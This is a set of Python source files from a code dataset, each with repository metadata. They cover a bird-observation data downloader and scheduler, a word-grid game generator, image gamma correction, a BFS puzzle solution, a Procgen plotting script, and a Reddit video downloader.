\"username\": cfg.db_user,\n    #     \"password\": cfg.db_pw,\n    #     \"host\": cfg.db_host,\n    #     \"port\": cfg.db_port,\n    #     \"database\": \"postgres\",\n    # }\n    jobs_o = Jobs(nb_executors=cfg.tuning_sched_executors)\n    with jobs_o as jobs:\n        # Cleanup any existing job\n        jobs.start(paused=True)\n        jobs.remove_all_jobs()\n        jobs.resume()\n        # Download field only once\n        jobs.add_job_once(job_fn=full_download_1, args=[Fields, cfg_crtl_list, cfg])\n        # Looping on sites for other controlers\n        for site, cfg in cfg_site_list.items():\n            if cfg.enabled:\n                logger.info(_(\"Scheduling work for site %s\"), cfg.site)\n                jobs.add_job_once(\n                    job_fn=full_download_1, args=[Entities, cfg_crtl_list, cfg]\n                )\n                jobs.add_job_once(\n                    job_fn=full_download_1, args=[Families, cfg_crtl_list, cfg]\n                )\n                jobs.add_job_once(\n                    job_fn=full_download_1, args=[LocalAdminUnits, cfg_crtl_list, cfg]\n                )\n                jobs.add_job_once(\n                    job_fn=full_download_1, args=[Observations, cfg_crtl_list, cfg]\n                )\n                jobs.add_job_once(\n                    job_fn=full_download_1, args=[Observers, cfg_crtl_list, cfg]\n                )\n                jobs.add_job_once(\n                    job_fn=full_download_1, args=[Places, cfg_crtl_list, cfg]\n                )\n                jobs.add_job_once(\n                    job_fn=full_download_1, args=[Species, cfg_crtl_list, cfg]\n                )\n                jobs.add_job_once(\n                    job_fn=full_download_1, args=[TaxoGroup, cfg_crtl_list, cfg]\n                )\n                jobs.add_job_once(\n                    job_fn=full_download_1, args=[TerritorialUnits, cfg_crtl_list, cfg]\n                )\n                jobs.add_job_once(\n                    job_fn=full_download_1, args=[Validations, cfg_crtl_list, cfg]\n                )\n            else:\n                logger.info(_(\"Skipping site %s\"), site)\n\n        # Wait for jobs to finish\n        time.sleep(1)\n        while jobs.count_jobs() > 0:\n            time.sleep(1)\n        jobs.shutdown()\n\n    return None\n\n\ndef increment_download_1(ctrl, cfg_crtl_list, cfg):\n    \"\"\"Download incremental updates from one site.\"\"\"\n    logger.debug(_(\"Enter increment_download_1: %s\"), ctrl.__name__)\n    with StorePostgresql(cfg) as store_pg, StoreFile(cfg) as store_f:\n        store_all = StoreAll(cfg, db_backend=store_pg, file_backend=store_f)\n        downloader = ctrl(cfg, store_all)\n        if cfg_crtl_list[downloader.name].enabled:\n            logger.info(\n                _(\"%s => Starting incremental download using controler %s\"),\n                cfg.site,\n                downloader.name,\n            )\n            if downloader.name == \"observations\":\n                logger.info(\n                    _(\"%s => Excluded taxo_groups: %s\"), cfg.site, cfg.taxo_exclude\n                )\n                downloader.update(taxo_groups_ex=cfg.taxo_exclude)\n            elif downloader.name == \"places\":\n                logger.info(\n                    _(\"%s => Included territorial_unit_ids: %s\"),\n                    cfg.site,\n                    cfg.territorial_unit_ids,\n                )\n                downloader.update(\n                    territorial_unit_ids=cfg.territorial_unit_ids,\n                )\n            elif downloader.name == \"local_admin_units\":\n                logger.info(\n                    _(\"%s => Included territorial_unit_ids: %s\"),\n                    cfg.site,\n                    cfg.territorial_unit_ids,\n                )\n                downloader.store(\n                    territorial_unit_ids=cfg.territorial_unit_ids,\n                )\n            else:\n                downloader.store()\n            logger.info(\n                _(\"%s => Ending download using controler %s\"), cfg.site, downloader.name\n            )\n\n\ndef increment_download(cfg_ctrl):\n    \"\"\"Performs an incremental download of observations from all sites\n    and controlers, based on configuration file.\"\"\"\n    cfg_site_list = cfg_ctrl.site_list\n    cfg = list(cfg_site_list.values())[0]\n\n    logger.info(_(\"Starting incremental download jobs\"))\n    # db_url = {\n    #     \"drivername\": \"postgresql+psycopg2\",\n    #     \"username\": cfg.db_user,\n    #     \"password\": cfg.db_pw,\n    #     \"host\": cfg.db_host,\n    #     \"port\": cfg.db_port,\n    #     \"database\": \"postgres\",\n    # }\n\n    jobs_o = Jobs(nb_executors=cfg.tuning_sched_executors)\n    with jobs_o as jobs:\n        # Start scheduler and wait for jobs to finish\n        jobs.start()\n        time.sleep(1)\n        while jobs.count_jobs() > 0:\n            time.sleep(1)\n        jobs.shutdown()\n\n    return None\n\n\ndef increment_schedule(cfg_ctrl):\n    \"\"\"Creates or modify the incremental download schedule,\n    based on YAML controler configuration.\"\"\"\n    cfg_crtl_list = cfg_ctrl.ctrl_list\n    cfg_site_list = cfg_ctrl.site_list\n    cfg = list(cfg_site_list.values())[0]\n\n    logger.info(_(\"Defining incremental download jobs\"))\n    # db_url = {\n    #     \"drivername\": \"postgresql+psycopg2\",\n    #     \"username\": cfg.db_user,\n    #     \"password\": cfg.db_pw,\n    #     \"host\": cfg.db_host,\n    #     \"port\": cfg.db_port,\n    #     \"database\": \"postgres\",\n    # }\n    jobs = Jobs(nb_executors=cfg.tuning_sched_executors)\n    # Looping on sites\n    for site, cfg in cfg_site_list.items():\n        if cfg.enabled:\n            logger.info(_(\"Scheduling increments on site %s\"), site)\n            for ctrl_name, ctrl_props in cfg_crtl_list.items():\n                if ctrl_props.enabled:\n                    logger.debug(\n                        _(\"%s => Adding schedule for controler %s\"), site, ctrl_name\n                    )\n                    jobs.add_job_schedule(\n                        job_fn=increment_download_1,\n                        args=[CTRL_DEFS[ctrl_name], cfg_crtl_list, cfg],\n                        year=ctrl_props.schedule_year,\n                        month=ctrl_props.schedule_month,\n                        day=ctrl_props.schedule_day,\n                        week=ctrl_props.schedule_week,\n                        day_of_week=ctrl_props.schedule_day_of_week,\n                        hour=ctrl_props.schedule_hour,\n                        minute=ctrl_props.schedule_minute,\n                        second=ctrl_props.schedule_second,\n                    )\n        else:\n            logger.info(_(\"Skipping site %s\"), site)\n\n    # Print status\n    jobs.start(paused=True)\n    jobs.print_jobs()\n    jobs.shutdown()\n\n    return None\n\n\ndef status(cfg_ctrl):\n    \"\"\"Print download status, using logger.\"\"\"\n    cfg_site_list = cfg_ctrl.site_list\n    cfg_site_list = cfg_ctrl.site_list\n    cfg = list(cfg_site_list.values())[0]\n\n    logger.info(_(\"Download jobs status\"))\n    # db_url = {\n    #     \"drivername\": \"postgresql+psycopg2\",\n    #     \"username\": cfg.db_user,\n    #     \"password\": cfg.db_pw,\n    #     \"host\": cfg.db_host,\n    #     \"port\": cfg.db_port,\n    #     \"database\": \"postgres\",\n    # }\n    jobs = Jobs(nb_executors=cfg.tuning_sched_executors)\n    jobs.start(paused=True)\n    jobs.print_jobs()\n\n\ndef count_observations(cfg_ctrl):\n    \"\"\"Count observations by site and taxo_group.\"\"\"\n    cfg_site_list = cfg_ctrl.site_list\n\n    col_counts = None\n    for site, cfg in cfg_site_list.items():\n        try:\n            if cfg.enabled:\n                if col_counts is None:\n                    manage_pg = PostgresqlUtils(cfg)\n                    # print(tabulate(manage_pg.count_json_obs()))\n                    col_counts = manage_pg.count_col_obs()\n\n                logger.info(_(\"Getting counts from %s\"), cfg.site)\n                site_counts = list()\n                if cfg.site == \"Haute-Savoie\":\n                    for r in col_counts:\n                        if r[0] == \"Haute-Savoie\":\n                            site_counts.append([r[0], r[2], -1, r[3]])\n                else:\n                    url = cfg.base_url + \"index.php?m_id=23\"\n                    page = requests.get(url)\n                    soup = BeautifulSoup(page.text, \"html.parser\")\n\n                    counts = soup.find_all(\"table\")[2].contents[1].contents[3]\n                    rows = counts.contents[5].contents[0].contents[0].contents[1:-1]\n                    for i in range(0, len(rows)):\n                        if i % 5 == 0:\n                            taxo = rows[i].contents[0][\"title\"]\n                        elif i % 5 == 4:\n                            col_c = 0\n                            for r in col_counts:\n                                if r[0] == site and r[2] == taxo:\n                                    col_c = r[3]\n                            site_counts.append(\n                                [\n                                    cfg.site,\n                                    taxo,\n                                    int(\n                                        rows[i].contents[0].contents[0].replace(\" \", \"\")\n                                    ),\n                                    col_c,\n                                ]\n                            )\n                print(\n                    tabulate(\n                        site_counts,\n                        headers=[\n                            _(\"Site\"),\n                            _(\"TaxoName\"),\n                            _(\"Remote count\"),\n                            _(\"Local count\"),\n                        ],\n                        tablefmt=\"psql\",\n                    )\n                )\n        except Exception:  # pragma: no cover\n            logger.error(_(\"Can not retrieve informations from %s\"), cfg.site)\n\n    return None\n\n\ndef main(args):\n    \"\"\"Main entry point allowing external calls\n\n    Args:\n      args ([str]): command line parameter list\n    \"\"\"\n    # Create $HOME/tmp directory if it does not exist\n    (Path.home() / \"tmp\").mkdir(exist_ok=True)\n\n    # create file handler which logs even debug messages\n    fh = TimedRotatingFileHandler(\n        str(Path.home()) + \"/tmp/transfer_vn.log\",\n        when=\"midnight\",\n        interval=1,\n        backupCount=100,\n    )\n    # create console handler with a higher log level\n    ch = logging.StreamHandler()\n    # create formatter and add it to the handlers\n    formatter = logging.Formatter(\n        \"%(asctime)s - %(levelname)s - %(name)s - %(message)s\"\n    )\n    fh.setFormatter(formatter)\n    ch.setFormatter(formatter)\n    # add the handlers to the logger\n    logger.addHandler(fh)\n    logger.addHandler(ch)\n\n    # Get command line arguments\n    args = arguments(args)\n\n    # Start profiling if required\n    if args.profile:\n        yappi.start()\n        logger.info(_(\"Started yappi\"))\n\n    # Define verbosity\n    if args.verbose:\n        logger.setLevel(logging.DEBUG)\n        sql_quiet = \"\"\n        client_min_message = \"debug1\"\n    else:\n        logger.setLevel(logging.INFO)\n        sql_quiet = \"--quiet\"\n        client_min_message = \"warning\"\n\n    logger.info(_(\"%s, version %s\"), sys.argv[0], __version__)\n    logger.info(_(\"Arguments: %s\"), sys.argv[1:])\n\n    # If required, first create YAML file\n    if args.init:\n        logger.info(_(\"Creating YAML configuration file\"))\n        init(args.file)\n        return None\n\n    # Get configuration from file\n    if not (Path.home() / args.file).is_file():\n        logger.critical(_(\"File %s does not exist\"), str(Path.home() / args.file))\n        return None\n    logger.info(_(\"Getting configuration data from %s\"), args.file)\n    try:\n        cfg_ctrl = EvnConf(args.file)\n    except YAMLValidationError:\n        logger.critical(_(\"Incorrect content in YAML configuration %s\"), args.file)\n        sys.exit(0)\n    cfg_site_list = cfg_ctrl.site_list\n    cfg = list(cfg_site_list.values())[0]\n    # Check configuration consistency\n    if cfg.db_enabled and cfg.json_format != \"short\":\n        logger.critical(_(\"Storing to Postgresql cannot use long json_format.\"))\n        logger.critical(_(\"Please modify YAML configuration and restart.\"))\n        sys.exit(0)\n\n    manage_pg = PostgresqlUtils(cfg)\n\n    if args.db_drop:\n        logger.info(_(\"Delete if exists database and roles\"))\n        manage_pg.drop_database()\n\n    if args.db_create:\n        logger.info(_(\"Create database and roles\"))\n        manage_pg.create_database()\n\n    if args.db_migrate:\n        logger.info(_(\"Migrating database to current version\"))\n        migrate(cfg, sql_quiet, client_min_message)\n\n    if args.json_tables_create:\n        logger.info(_(\"Create, if not exists, json tables\"))\n        manage_pg.create_json_tables()\n\n    if args.col_tables_create:\n        logger.info(_(\"Creating or recreating vn columns based tables\"))\n        col_table_create(cfg, sql_quiet, client_min_message)\n\n    if args.full:\n        logger.info(_(\"Performing a full download\"))\n        full_download(cfg_ctrl)\n\n    if args.schedule:\n        logger.info(_(\"Creating or modifying incremental download schedule\"))\n        increment_schedule(cfg_ctrl)\n\n    if args.update:\n        logger.info(_(\"Performing an incremental download\"))\n        increment_download(cfg_ctrl)\n\n    if args.status:\n        logger.info(_(\"Printing download status\"))\n        status(cfg_ctrl)\n\n    if args.count:\n        logger.info(_(\"Counting observations\"))\n        count_observations(cfg_ctrl)\n\n    # Stop and output profiling if required\n    if args.profile:\n        logger.info(_(\"Printing yappi results\"))\n        yappi.stop()\n        yappi.get_func_stats().print_all()\n        yappi.get_thread_stats().print_all()\n\n    return None\n\n\ndef run():\n    \"\"\"Entry point for console_scripts\"\"\"\n    main(sys.argv[1:])\n\n\n# Main wrapper\nif __name__ == \"__main__\":\n    run()\n", "repo_name": "dthonon/Client_API_VN", "sub_path": "src/export_vn/transfer_vn.py", "file_name": "transfer_vn.py", "file_ext": "py", "file_size_in_byte": 28407, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "81", "api": [{"api_name": "export_vn.download_vn.Entities", "line_number": 55, "usage_type": "name"}, {"api_name": "export_vn.download_vn.Families", "line_number": 56, "usage_type": "name"}, {"api_name": "export_vn.download_vn.Fields", "line_number": 57, "usage_type": "name"}, {"api_name": "export_vn.download_vn.LocalAdminUnits", "line_number": 58, "usage_type": "name"}, {"api_name": "export_vn.download_vn.Observations", "line_number": 59, "usage_type": "name"}, {"api_name": "export_vn.download_vn.Observers", "line_number": 60, "usage_type": "name"}, {"api_name": "export_vn.download_vn.Places", "line_number": 61, "usage_type": "name"}, {"api_name": "export_vn.download_vn.Species", "line_number": 62, "usage_type": "name"}, {"api_name": "export_vn.download_vn.TaxoGroup", "line_number": 63, "usage_type": "name"}, {"api_name": "export_vn.download_vn.TerritorialUnits", "line_number": 64, "usage_type": "name"}, {"api_name": "export_vn.download_vn.Validations", "line_number": 65, "usage_type": "name"}, {"api_name": "logging.getLogger", "line_number": 68, "usage_type": "call"}, {"api_name": "apscheduler.events.EVENT_JOB_SUBMITTED", "line_number": 73, "usage_type": "name"}, {"api_name": "apscheduler.jobstores.memory.MemoryJobStore", "line_number": 106, "usage_type": "call"}, {"api_name": "apscheduler.jobstores.sqlalchemy.SQLAlchemyJobStore", "line_number": 106, "usage_type": "call"}, {"api_name": "apscheduler.executors.pool.ProcessPoolExecutor", "line_number": 107, "usage_type": "call"}, {"api_name": "apscheduler.schedulers.background.BackgroundScheduler", "line_number": 113, "usage_type": "call"}, {"api_name": "pytz.utc", "line_number": 117, "usage_type": "name"}, {"api_name": "apscheduler.events.EVENT_JOB_SUBMITTED", "line_number": 120, "usage_type": "name"}, {"api_name": "apscheduler.events.EVENT_JOB_EXECUTED", "line_number": 120, "usage_type": "name"}, {"api_name": "apscheduler.events.EVENT_JOB_ERROR", "line_number": 120, "usage_type": "name"}, {"api_name": "apscheduler.schedulers.SchedulerNotRunningError", "line_number": 137, "usage_type": "name"}, {"api_name": "apscheduler.schedulers.SchedulerNotRunningError", "line_number": 144, "usage_type": "name"}, {"api_name": "os.getpid", "line_number": 147, "usage_type": "call"}, {"api_name": "psutil.Process", "line_number": 148, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 152, "usage_type": "call"}, {"api_name": "signal.signal", "line_number": 157, "usage_type": "call"}, {"api_name": "signal.SIGINT", "line_number": 157, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 227, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 227, "usage_type": "name"}, {"api_name": "datetime.timezone.utc", "line_number": 227, "usage_type": "attribute"}, {"api_name": "datetime.timezone", "line_number": 227, "usage_type": "name"}, {"api_name": "argparse.ArgumentParser", "line_number": 265, "usage_type": "call"}, {"api_name": "pkg_resources.resource_filename", "line_number": 338, "usage_type": "call"}, {"api_name": "pathlib.Path.home", "line_number": 339, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 339, "usage_type": "name"}, {"api_name": "shutil.copyfile", "line_number": 341, "usage_type": "call"}, {"api_name": "jinja2.Environment", "line_number": 348, "usage_type": "call"}, {"api_name": "jinja2.PackageLoader", "line_number": 349, "usage_type": "call"}, {"api_name": "pathlib.Path.home", "line_number": 354, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 354, "usage_type": "name"}, {"api_name": "subprocess.run", "line_number": 358, "usage_type": "call"}, {"api_name": "subprocess.CalledProcessError", "line_number": 377, "usage_type": "attribute"}, {"api_name": "jinja2.Environment", "line_number": 386, "usage_type": "call"}, {"api_name": "jinja2.PackageLoader", "line_number": 387, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 391, "usage_type": "call"}, {"api_name": "subprocess.CalledProcessError", "line_number": 408, "usage_type": "attribute"}, {"api_name": "export_vn.store_postgresql.StorePostgresql", "line_number": 417, "usage_type": "call"}, {"api_name": "export_vn.store_file.StoreFile", "line_number": 417, "usage_type": "call"}, {"api_name": "export_vn.store_all.StoreAll", "line_number": 418, "usage_type": "call"}, {"api_name": "export_vn.download_vn.Fields", "line_number": 479, "usage_type": "name"}, {"api_name": "export_vn.download_vn.Entities", "line_number": 485, "usage_type": "name"}, {"api_name": "export_vn.download_vn.Families", "line_number": 488, "usage_type": "name"}, {"api_name": "export_vn.download_vn.LocalAdminUnits", "line_number": 491, "usage_type": "name"}, {"api_name": "export_vn.download_vn.Observations", "line_number": 494, "usage_type": "name"}, {"api_name": "export_vn.download_vn.Observers", "line_number": 497, "usage_type": "name"}, {"api_name": "export_vn.download_vn.Places", "line_number": 500, "usage_type": "name"}, {"api_name": "export_vn.download_vn.Species", "line_number": 503, "usage_type": "name"}, {"api_name": "export_vn.download_vn.TaxoGroup", "line_number": 506, "usage_type": "name"}, {"api_name": "export_vn.download_vn.TerritorialUnits", "line_number": 509, "usage_type": "name"}, {"api_name": "export_vn.download_vn.Validations", "line_number": 512, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 518, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 520, "usage_type": "call"}, {"api_name": "export_vn.store_postgresql.StorePostgresql", "line_number": 529, "usage_type": "call"}, {"api_name": "export_vn.store_file.StoreFile", "line_number": 529, "usage_type": "call"}, {"api_name": "export_vn.store_all.StoreAll", "line_number": 530, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 588, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 590, "usage_type": "call"}, {"api_name": "export_vn.store_postgresql.PostgresqlUtils", "line_number": 674, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 686, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 687, "usage_type": "call"}, {"api_name": "tabulate.tabulate", "line_number": 710, "usage_type": "call"}, {"api_name": "pathlib.Path.home", "line_number": 734, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 734, "usage_type": "name"}, {"api_name": "logging.handlers.TimedRotatingFileHandler", "line_number": 737, "usage_type": "call"}, {"api_name": "pathlib.Path.home", "line_number": 738, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 738, "usage_type": "name"}, {"api_name": "logging.StreamHandler", "line_number": 744, "usage_type": "call"}, {"api_name": "logging.Formatter", "line_number": 746, "usage_type": "call"}, {"api_name": "yappi.start", "line_number": 760, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 765, "usage_type": "attribute"}, {"api_name": "logging.INFO", "line_number": 769, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 773, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 774, "usage_type": "attribute"}, {"api_name": "pathlib.Path.home", "line_number": 783, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 783, "usage_type": "name"}, {"api_name": "pathlib.Path.home", "line_number": 784, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 784, "usage_type": "name"}, {"api_name": "export_vn.evnconf.EvnConf", "line_number": 788, "usage_type": "call"}, {"api_name": "strictyaml.YAMLValidationError", "line_number": 789, "usage_type": "name"}, {"api_name": "sys.exit", "line_number": 791, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 798, "usage_type": "call"}, {"api_name": "export_vn.store_postgresql.PostgresqlUtils", "line_number": 800, "usage_type": "call"}, {"api_name": "yappi.stop", "line_number": 845, "usage_type": "call"}, {"api_name": "yappi.get_func_stats", "line_number": 846, "usage_type": "call"}, {"api_name": "yappi.get_thread_stats", "line_number": 847, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 854, "usage_type": "attribute"}]}
{"seq_id": "10082566032", "text": "import random\nfrom tabulate import tabulate\n\ndef generatorImageGame(path):\n    list_words = []\n    selected_words = []\n    words_ = open(f\"./venv/dictionares/{path}\", encoding=\"utf8\")\n    for i in words_:\n        list_words.append((i[:-1] if i[-1:] == '\\n' else i).capitalize())\n\n    random_word = random.choice(list_words)\n    while len(selected_words) != 25:\n        if random_word not in selected_words:\n            selected_words.append(random_word) \n        else:\n            random_word = random.choice(list_words)\n\n    fiveXfiveList = []\n    n = 0\n    mini_list = []\n\n    for i in selected_words:\n        n += 1\n        mini_list.append(i.replace(' ','\\n') if len(i.split()) > 1 else i)\n        if n == 5:\n            fiveXfiveList.append(mini_list)\n            n = 0\n            mini_list = []\n\n    return tabulate(fiveXfiveList)", "repo_name": "carloterzaghi/Discord_Bot_Twilight", "sub_path": "venv/auxiliary_functions/imageGenaratorCodeNames.py", "file_name": "imageGenaratorCodeNames.py", "file_ext": "py", "file_size_in_byte": 837, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "random.choice", "line_number": 11, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 16, "usage_type": "call"}, {"api_name": "tabulate.tabulate", "line_number": 30, "usage_type": "call"}]}
{"seq_id": "70995648904", "text": "import numpy as np\r\nimport cv2 as cv\r\nimport glob\r\n\r\n#adjust gamma of a photo\r\n\r\ndef adjust_gamma(image, gamma=1.0):\r\n\tinvGamma = 1.0 / gamma\r\n\ttable = np.array([((i / 255.0) ** invGamma) * 255\r\n\t\tfor i in np.arange(0, 256)]).astype(\"uint8\")\r\n\treturn cv.LUT(image, table)\r\n\r\npath_to_originals = \"C:\\\\Users\\\\jerzy\\\\Desktop\\\\YOLO\\\\ciemne\\\\\"\r\npath_to_corrected = \"C:\\\\Users\\\\jerzy\\\\Desktop\\\\YOLO\\\\ciemne\\\\rozjasnione\\\\\"\r\n\r\nlist_of_jpgs = glob.glob(path_to_originals+'*jpg')\r\n\r\ngamma = 1.5\r\n\r\nfor file in list_of_jpgs:\r\n    original = cv.imread(file)\r\n    nazwa_pliku = file.split('\\\\')[-1]\r\n    adjusted = adjust_gamma(original, gamma=gamma)\r\n    cv.imwrite(path_to_corrected+nazwa_pliku, adjusted)\r\n", "repo_name": "Jerzyklos/praca_magisterska", "sub_path": "gamma.py", "file_name": "gamma.py", "file_ext": "py", "file_size_in_byte": 697, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "numpy.array", "line_number": 9, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 10, "usage_type": "call"}, {"api_name": "cv2.LUT", "line_number": 11, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 16, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 21, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 24, "usage_type": "call"}]}
{"seq_id": "18701643367", "text": "import collections\nx_move = [1,0,-1,0]\ny_move = [0,1,0,-1]\nMAX = 987654321\nanswer = MAX\n\ndef bfs(board):\n    global answer\n    # 최소비용을 기록하는 3차원 리스트\n    visited = [[[MAX for y in range(len(board))] for x in range(len(board))] for z in range(4)]\n    q = collections.deque()\n    # [x, y, cost, dir]\n    # dir -> 밑,오른쪽,위,왼쪽 -> 0,1,2,3\n    for z in range(4):\n        visited[z][0][0]= 0\n    \n    if board[0][1] != 1:\n        q.append([0,1,100,1])\n        visited[1][0][1] = 100\n    \n    if board[1][0] != 1:\n        q.append([1,0,100,0])\n        visited[0][1][0] = 100\n    \n    while q:\n    \t# x축, y축, 비용, 방향\n        x, y, cost, dir = q.pop()\n        \n        for i in range(4):\n            n_x = x + x_move[i]\n            n_y = y + y_move[i]\n            \n            # 현재 방향과 다음 방향이 틀리다면 +600\n            if dir != i:\n                n_cost = cost + 600\n            # 같은 경우\n            else:\n                n_cost = cost + 100\n            \n            if 0 <= n_x < len(board) and 0 <= n_y < len(board):\n                # 범위내에서 벽이 아니라면\n                if board[n_x][n_y] != 1:\n                \t# 해당 [방향][x축][y축]에 기록되어있는 것보다 현재 비용이 작다면, 큐에 넣고 바꾸어준다\n                    if visited[i][n_x][n_y] > n_cost:\n                        q.append([n_x, n_y, n_cost, i])\n                        visited[i][n_x][n_y] = n_cost\n    # x축y축 끝의 4방향 중에서 최솟값을 찾는다.\n    for z in range(4):\n        if answer > visited[z][len(board)-1][len(board)-1]:\n            answer = visited[z][len(board)-1][len(board)-1] \n    return answer\n\n\ndef solution(board):\n    return bfs(board)", "repo_name": "dev-dain/algorithm-study", "sub_path": "source/suzy/week10/A67259.py", "file_name": "A67259.py", "file_ext": "py", "file_size_in_byte": 1757, "program_lang": "python", "lang": "ko", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "81", "api": [{"api_name": "collections.deque", "line_number": 11, "usage_type": "call"}]}
{"seq_id": "39893624765", "text": "from procgenac.utils import make_env\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nuse_bg = False\nnum_steps = 610\naction = np.array([0])\n\nenv = make_env(n_envs=1, use_backgrounds=use_bg)\n\n# Evaluate policy\nfor _ in range(num_steps):\n\n    # Take step in environment\n    obs, reward, done, info = env.step(action)\n\nframe = env.render(mode=\"rgb_array\")\nfig, ax = plt.subplots(1, 1)\nax.imshow(frame)\nplt.axis(\"off\")\nplt.savefig(\n    \"../results/figures/starpilot_no_bg.pdf\", format=\"pdf\", pad_inches=0, bbox_inches=\"tight\"\n)\n", "repo_name": "jonasjuhler/procgenac", "sub_path": "scripts/plot_single_env_img.py", "file_name": "plot_single_env_img.py", "file_ext": "py", "file_size_in_byte": 527, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "numpy.array", "line_number": 7, "usage_type": "call"}, {"api_name": "procgenac.utils.make_env", "line_number": 9, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 18, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 18, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 20, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 20, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 21, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 21, "usage_type": "name"}]}
{"seq_id": "27805318902", "text": "import requests\nfrom fake_useragent import UserAgent\nimport os\nimport traceback\n\n\nUSER_AGENT = UserAgent()\nHTML_PARSER = \"html.parser\"\nSUBREDDITS = [\"Unexpected\", \"holdmybeer\", \"ContagiousLaughter\",\n              \"therewasanattempt\", \"AnimalsBeingDerps\"]\n\n\ndef download_video(video_url, title):\n\n    print(\"DOWNLOADING VIDEO\")\n    headers = {\n        \"User-Agent\": USER_AGENT.random,\n    }\n    folder_name = title\n    file_name = title + \".mp4\"\n    file_path = f\"{folder_name}/{file_name}\"\n\n    with requests.get(video_url, stream=True, headers=headers) as r:\n        r.raise_for_status()\n        with open(file_path, 'wb') as f:\n            for chunk in r.iter_content(chunk_size=8192):\n                f.write(chunk)\n    return file_path\n\n\ndef download_thumbnail(thumbnail_url, title):\n    headers = {\n        \"User-Agent\": USER_AGENT.random,\n    }\n    folder_name = title\n    file_name = title + \"_thumb\" + \".jpg\"\n    file_path = f\"{folder_name}/{file_name}\"\n\n    with requests.get(thumbnail_url, stream=True, headers=headers) as r:\n        r.raise_for_status()\n        with open(file_path, 'wb') as f:\n            for chunk in r.iter_content(chunk_size=8192):\n                f.write(chunk)\n    return file_path\n\n\ndef download_audio(audio_url, title):\n    headers = {\n        \"User-Agent\": USER_AGENT.random,\n    }\n    folder_name = title\n    file_name = title + \"_audio\" + \".mp4\"\n    file_path = f\"{folder_name}/{file_name}\"\n\n    with requests.get(audio_url, stream=True, headers=headers) as r:\n        r.raise_for_status()\n        with open(file_path, 'wb') as f:\n            for chunk in r.iter_content(chunk_size=8192):\n                f.write(chunk)\n    return file_path\n\n\ndef save_data(title, post_url, up_vote_ratio):\n    folder_name = title\n    up_vote_ratio = str(up_vote_ratio)\n    file_name = title + f\" [{up_vote_ratio}] \" + \"_data\" + \".txt\"\n    file_path = f\"{folder_name}/{file_name}\"\n\n    data = f'''\n    POST_URL = {post_url}\\n\n    UPVOTE_RATIO = {up_vote_ratio}\\n\n    '''\n\n    with open(file_path, 'w') as f:\n        f.write(data)\n\n\ndef join_video_audio(title, video_file, audio_file):\n    command = f'''ffmpeg -i \"{video_file}\" -i \"{audio_file}\" -c:v copy -c:a aac \"{title}/{title}_final.mp4\"'''\n    os.system(command)\n\n\ndef posts_info_from_subreddit(subreddit):\n\n    headers = {\n        \"User-Agent\": USER_AGENT.random,\n    }\n\n    subreddit_url = f\"https://www.reddit.com/r/{subreddit}.json\"\n\n    try:\n\n        request = requests.get(subreddit_url, headers=headers)\n\n    except Exception as e:\n        print(traceback.format_exc())\n        return f\"THERE WAS AS ERROR: {e}\"\n    if request.status_code == 200:\n        data = request.json()\n\n    posts = data[\"data\"][\"children\"]\n\n    for post in posts:\n\n        post_data = post[\"data\"]\n        is_video = post_data[\"is_video\"]\n        if is_video is True:\n\n            try:\n                post_url = post_data[\"url\"]\n                title = post_data[\"title\"]\n                up_vote_ratio = post_data[\"upvote_ratio\"]\n                thumbnail_url = post_data[\"thumbnail\"]\n                video_url = post_data[\"media\"][\"reddit_video\"][\"fallback_url\"]\n                audio_url = video_url.split(\n                    \"/DASH_\")[0] + \"/DASH_audio.mp4?source=fallback\"\n\n                chars_to_remove = [':', '*', '?', '\"',\n                                   '/', '\\\\', '<', '>', '|', \".\"]\n                for char_to_remove in chars_to_remove:\n                    title = title.replace(f\"{char_to_remove}\", \"\")\n\n                title = title.encode('ascii', 'ignore').decode(\n                    \"ascii\", \"ignore\")\n\n                up_vote_ratio = int(float(up_vote_ratio) * 100)\n\n                if up_vote_ratio > 95:\n                    print(f\"\\n\\n\\n{title}\")\n                    os.mkdir(title)\n                    save_data(title, post_url, up_vote_ratio)\n                    video_file = download_video(video_url, title)\n                    audio_file = download_audio(audio_url, title)\n                    download_thumbnail(thumbnail_url, title)\n                    join_video_audio(title, video_file, audio_file)\n\n            except Exception as e:\n                print(traceback.format_exc())\n                continue\n        elif is_video == \"False\":\n            